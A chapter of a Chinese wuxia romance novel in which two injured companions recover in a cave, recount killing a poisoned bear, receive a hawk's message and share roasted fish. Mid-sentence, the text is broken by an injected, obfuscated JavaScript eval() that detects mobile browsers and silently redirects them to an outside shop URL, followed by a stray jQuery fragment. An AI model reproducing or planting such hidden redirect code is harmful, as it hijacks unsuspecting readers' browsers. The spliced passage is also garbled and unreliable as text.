云沉渊苏醒时,天光已经大亮。
睁开双眼,头顶是山洞中垂下的钟乳石,鼻尖萦绕一股血液腥臭混合着草药的奇怪味道,让他一时有种不知身在何处的茫然。
眨了眨眼,额头上传来轻微刺痛,他抬手去摸,才发现左臂被布条结结实实缠了一圈又一圈,动弹不得,无奈只好以右臂单手支撑着坐起。
身侧传来一声低低闷响,向下看去,原来是怀中长剑随着他起身的动作一路滑落,滚进干草堆里,上头还带着几道已经凝固的血迹。
拎起长剑复又抬头,他终于隔着似明似灭的火堆,与血腥气的源头——一头缺了一只眼的黑熊,四目相对。
……
望着黑熊身上的血洞,又看了看手上的长剑,云沉渊有一瞬间陷入沉思,这,是他干的?
好在他的迷茫没有持续太久。
很快,那双眼眸就恢复了少将军应有的锐利。忆起被垂死挣扎的奚长老拍断的山崖、骤然的失重坠落,以及跟着跳下来的人……
握剑的手骤然收紧。
哗啦——
洞口处传来水声,云沉渊转过头,循声望去,外面投进来的日光被一道身影挡住大半。
心头念着的人背对着他坐在暗河边,乌发湿漉漉地贴在背上,中衣褪到肘弯,露出一大片后背,手中拿一块沾湿的布条拧到半干,一点点擦拭着身上的血迹。
随着手上动作,略显单薄的背上,蝴蝶骨时隐时现。
那背本应是光洁的,此时却遍布磕碰产生的大块青紫淤痕,看上去仿佛刚刚经过一场生死大战。
躬身到河水里濯洗布条,一滴圆润水珠随着动作,自发丝滚落,顺着凹陷脊骨,没入衣料边缘……
云沉渊有些不自在地清咳了一声,撇过头去。
听到身后的声响,那个背影顿住了。
白皙后颈一闪而逝,被飞快拉起的中衣遮住。
过了半晌,林寒玉放下布条,费力支撑着单腿站起,绷着脸,一瘸一拐挪回火堆边。
“醒了?”
若无其事坐下,扯过旁边晾着的袍子抖了抖,想了想,复又放下。
这件衣服上,浸了太多熊血,被她醒来后按在水里洗过一遍,目前还是半湿的状态。
披上若是染了风寒,不划算。
“伤在何处,我看看。”见她腿瘸得厉害,云沉渊也顾不得避嫌,伸手便要去揭她膝盖上缠绕的布条。
行军打仗免不了受伤见血,他自认对处理外伤颇有心得。
林寒玉忙抬手挡住,“没伤到筋骨,我心里有数。”
人在江湖飘,哪能不挨刀。比这更危险的伤势她都熬过,这点小伤,算不得什么。
最严重那次,她的脊骨差点被打断,躺在地上爬都爬不起来,现在不还是活蹦乱跳?
这膝盖只是看起来吓人,养个十天半月也就好了,没必要让人徒增烦恼。
对面人嘴上满不在乎,云沉渊却听出了她的言下之意。
即使未能亲眼所见,也能遥想她平日里必然是屡屡以身犯险,面色不由微微沉了下来。
察觉他脸色不对,林寒玉隔空指了指他包得结结实实的手臂,开起玩笑,“咱们两个,难兄难弟,谁也别说谁。”
此话倒是不假。单看二人,一个包着胳膊,一个绑着膝盖,俱是灰头土脸、一身狼狈的模样。
不知道的,还以为是从哪里跑出来逃难的小夫妻。
火光映出她眼底的狡黠,被她这么一打岔,云沉渊心头的那点沉重也暂时散了。
把目光投向角落里面目狰狞的黑熊,无声询问。
提起这个,林寒玉可是攒了一肚子话要说。
低头在干草堆里搜寻一番,扒拉出被遗弃的拐杖龙头。
自从里面的机关彻底用尽,龙头就变得轻飘飘的。往日质感不再。她也顺势失去了把它留作‘纪念’的兴趣。
将龙头摆到两人中间的地上,林寒玉绘声绘色,把那黑熊从一开始的势不可挡,到中镖后七窍流血的场景讲了一遍。
言语间不动声色,略过自己拖着伤腿与它周旋的惨状不提,生怕又惹得对面人不虞。
回想那猛兽中毒后的凄惨模样,她心有戚戚。
“阿文送来的软甲,这次真是派上大用场。”
黑熊刚中毒时,毒液入侵身体各处尚需要时间,行为倒还算正常,只是因为脆弱的眼睛受到攻击,显得暴躁异常。面目狰狞可怖,不断呲牙发出咆哮。
怎料只是过了不到一炷香的工夫,它便再也支撑不住,轰然倒在地上。四肢止不住地抽搐,搅得地面尘土飞扬。一股股黑血伴着咆哮,从嘴里喷涌而出。
这么说来,自己最后上前补的那两剑,反而是帮它一把,助它早早结束痛苦。
说到阿文,她不由又想到跳崖时最后看到的景象。
见到空中飞来的猎鹰,她的第一反应便是欣慰。亲兵们能及时赶到,刚刚被救下来的匠人们应当安全无虞。
再则,他们坠崖的消息至少传了出去,也不至于稀里糊涂就这么人间蒸发,失去踪迹。
只是,距离他们掉下来已经过了一天一夜,外面却没有一丝寻人的动静,倒让她不由得怀疑自己,当时是否眼花看错。
林寒玉还在滔滔不绝,从中毒的黑熊讲到崖上的猎鹰,对面的人却已经好久没有动作,整个人仿佛凝固一般。
跳跃火光映照在他深邃的面庞,也将他的耳畔染上一层浅红。
刚刚醒来无暇他顾,直到听她提起那件救命的软甲,云沉渊这才发现自己的贴身衣物已经被人换过,身上的血渍和伤口都一一清理包扎,想来也是对面人的手笔。
他几乎能想象到,对面的人在火光中抿着唇,一脸认真。打湿撕下来的布条,轻柔拭去他胸膛上凝固的血痂,再均匀敷上一层捣好的草药。
目光不由自主落在她摆弄着拐杖龙头的手上。五指纤长,因常年使用暗器,指腹带着一层薄茧……
待发现自己在看什么,云沉渊一时如坐针毡。听她提起猎鹰,忙抛下一句“我出去看看。”急匆匆起身,离开了山洞。
目送云沉渊走出山洞,林寒玉张了张嘴,有些莫名地弹一下地上的拐杖龙头。
方才她一直说个不停,是担心云沉渊突然提起昨夜之事。
现在看来,他分明是什么都不记得的样子,昨夜说的,大抵也只是高热下的胡话罢了。
抱膝轻轻呼出一口气,她一时竟不知是庆幸还是怅然。
……
云沉渊带着猎鹰‘惊雷’回来时,林寒玉正手握匕首,站在黑熊的尸体边举棋不定。
连日追踪匠人们的下落,本就是饥一顿饱一顿。山崖下面,活物又稀少。
下来这么久,她连一只野鸡、野兔都未见到。拖着伤腿行动不便,更别提去追什么飞禽走兽。
总不至于没被熊拍死,反倒自己把自己饿死罢?
思来想去,她还是将目光投向了洞里现成的熊尸。
有没有一种可能,熊身上的毒都集中在中镖的熊目里,丰腴肥糯的熊掌反而逃过一劫?
说干就干,她举起匕首,对着肥厚的爪子比划两下,思考最佳下刀部位。
腹中传来的咕噜响,匕首却被一只宽大手掌抽走。云沉渊不容拒绝的将她‘押’回火堆旁坐好,自己转身走到暗河边。
暗河的水清冽透亮,里面常有三五成群的银色小鱼游荡。
这些小鱼看起来没头没脑,经常聚在一处一动不动。实则机灵得很,一旦岸边有什么风吹草动,便
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17826460|209176||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
会四散而逃。
云沉渊在岸边站定,看准小鱼位置,轻描淡写挥出一剑。
这一剑迅疾如雷,剑锋所至,激起及膝高的水花。随着水花一同被拍上岸的,还有数条挟在水中,不幸被拍晕的小银鱼。
云沉渊拎起一条小鱼,眉尖轻挑。沉吟半晌,换了一处,再出一剑。
如此这般重复几次,小鱼们似乎也知道自己的速度比不过岸上的‘怪物’,再不敢靠近。
云沉渊三两步回到火堆边,支着长腿,长睫低垂。用‘收缴’来的匕首刮去鱼鳞,扯掉内脏。一条条串上细枝。
小鱼的个头并不大,大约只有一指长。
单手处理这些本来没那么方便。但那匕首到了他手里,就好像长在身上一般,如臂使指,上下翻飞,不一会儿工夫,身边就堆起一座小鱼山。
火光融融,略带冷峻的面容这一刻竟显得有些温柔。
云沉渊忙着处理食材,无所事事的林寒玉便坐在火边,展开猎鹰带来的纸条。
果真如她所想,此处地形奇特,亲兵们试了各种方法,无论是腰间系着绳索从崖上降下,抑或是走到山下绕路迂回,皆以失败告终。
无奈之下,只能让猎鹰带着纸条下来碰碰运气。一则,是确认他们的安危。二则,也是告知下面的人稍安勿躁,他们定会另寻他途,救他们出去。
“鱼好了。”
鼻端传来的香气打断了她的思绪。
云沉渊将烤好的小鱼放到一块清洗过的大石头上。鱼皮烤得焦香,撕开后,白嫩鱼肉冒着丝丝热气。
小银鱼个头不大,刺倒是不少。手持匕首划出一道银线,利落将鱼身上刺最少的鱼肚切下,放到她眼前。
“欸,我不用……”
“趁热吃,不是饿了?”对面人三两口解决剩下的部位,转头去烤下一批。
林寒玉将说了一半的话咽回去,抓起一条细嫩鱼肉,放进嘴里。
条件简陋,烤的时候并没有放什么调味的香料。
好在这鱼生于清冽河水,倒是没什么腥气。再加上云沉渊手法娴熟,火候得当,饿了许久的林寒玉竟觉这小小烤鱼,胜过平日珍馐。
一旁盯视许久的猎鹰‘惊雷’从云沉渊肩膀上跳下来,扑扇两下翅膀,歪头瞧瞧忙碌着的主人。
平日里主人用餐时,这些边边角角向来有它一份,怎么今日应召唤而来,等了许久,也不见主人动作?
黑豆眼在二人间来回巡视,左看右看,滴溜溜转了几圈。似乎明白了什么。
一蹦一蹦来到林寒玉身边,抬起头,口中不停发出咕噜声。
后者竟从它天生威严的脸上,看出了一丝渴求。
林寒玉莞尔一笑,抬头去看云沉渊。后者百忙之中,斜睨地上没出息的苍鹰一眼,没作声。
林寒玉只当他默许,取了一小块鱼肉放到掌心递过去,惊雷动作迅捷,埋头叼走,一口吞下,生怕主人反悔。
如此这般又吃了几条,林寒玉摆手拒绝,只言再吃不下。
鱼是人家抓的,刺是人家剔的,总不能真让少将军一直吃边角料。
洞外沉沉夜色压下来,朔风从洞外卷入,送来阵阵寒意。
火堆旁,却好似温暖如春,树枝上的火星子随着鱼肉香气四下飘散。
林寒玉随手披上晾干的外袍,一手托腮,望着对面人三下五除二解决一条小鱼,再将带着肉渣的鱼骨扔给候在一旁,伺机而动的惊雷。
沉默半晌,发出一声感叹,“要是再来上一壶琥珀光就好了。”
对视一眼,皆是无声一笑。
遥想当年,二人初见也是在火堆旁。当时尚且各自警惕、互相防备。谁又能想到有朝一日,竟能化敌为友、生死相托?
真当浮一大白。